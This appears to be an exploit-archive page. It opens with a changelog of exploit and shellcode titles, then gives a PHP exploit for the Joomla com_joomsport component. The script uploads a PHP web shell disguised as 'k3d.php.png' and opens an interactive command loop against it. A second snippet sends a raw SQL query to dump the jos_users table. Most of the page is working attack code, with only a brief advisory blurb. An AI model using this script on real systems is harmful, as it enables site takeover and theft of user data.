
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
80 lines
No EOL
2.7 KiB
PHP
80 lines
No EOL
2.7 KiB
PHP
source: https://www.securityfocus.com/bid/53944/info
|
|
|
|
The Joomsport component for Joomla! is prone to an SQL-injection vulnerability and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.
|
|
|
|
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
<?php
|
|
|
|
error_reporting(0);
|
|
set_time_limit(0);
|
|
ini_set("default_socket_timeout", 5);
|
|
function http_send($host, $packet)
|
|
{
|
|
$sock = fsockopen($host, 80);
|
|
while (!$sock)
|
|
{
|
|
print "\n[-] No response from {$host}:80 Trying again...";
|
|
$sock = fsockopen($host, 80);
|
|
}
|
|
fputs($sock, $packet);
|
|
while (!feof($sock)) $resp .= fread($sock, 1024);
|
|
fclose($sock);
|
|
return $resp;
|
|
}
|
|
print "\n|===============================================|";
|
|
print "\n| Joomla (com_joomsport) Arbitrary Shell Upload |";
|
|
print "\n| Provided By KedAns-Dz <ked-h[at]hotmail[.]com>|";
|
|
print "\n|===============================================|\n";
|
|
if ($argc < 2)
|
|
{
|
|
print "\nUsage : php $argv[0] [host] [path]";
|
|
print "\nExample : php $argv[0] www.p0c.tld /wp/\n";
|
|
die();
|
|
}
|
|
$host = $argv[1];
|
|
$path = $argv[2];
|
|
$data = "Content-Disposition: form-data; name=\"Filename\"; filename=\"k3d.php.png\"\r\n";
|
|
$data .= "Content-Type: application/octet-stream\r\n\r\n";
|
|
$packet = "POST {$path}components/com_joomsport/includes/imgres.php HTTP/1.0\r\n";
|
|
$packet .= "Host: {$host}\r\n";
|
|
$packet .= "Content-Length: ".strlen($data)."\r\n";
|
|
$packet .= "Content-Type: image/png\r\n";
|
|
$packet .= "Connection: close\r\n\r\n";
|
|
$packet .= $data;
|
|
preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);
|
|
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");
|
|
else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";
|
|
define(STDIN, fopen("php://stdin", "r"));
|
|
while(1)
|
|
{
|
|
print "\n Inj3ct0rK3d-Sh3lL#";
|
|
$cmd = trim(fgets(STDIN)); # f.ex : C:\\k3d.php.png
|
|
if ($cmd != "exit")
|
|
{
|
|
$packet = "GET {$path}k3d.php.png{$html[3]} HTTP/1.0\r\n";
|
|
$packet.= "Host: {$host}\r\n";
|
|
$packet.= "Connection: close\r\n\r\n";
|
|
$output = http_send($host, $packet);
|
|
}
|
|
else break;
|
|
}
|
|
?>
|
|
|
|
Access Shell : http://www.example.com/components/com_joomsport/images/k3d.php.png
|
|
|
|
#### Exploit (2) Blind SQL Injection =>
|
|
|
|
<?php
|
|
|
|
$bs =
|
|
curl_init("http://www.example.com/components/com_joomsport/includes/func.php");
|
|
curl_setopt($bs, CURLOPT_POST, true);
|
|
curl_setopt($bs, CURLOPT_POSTFIELDS,
|
|
array('query'=>"SELECT * FROM jos_users"));
|
|
curl_setopt($bs, CURLOPT_RETURNTRANSFER, 1);
|
|
$postResult = curl_exec($bs);
|
|
curl_close($bs);
|
|
print "$postResult";
|
|
|
|
?>
|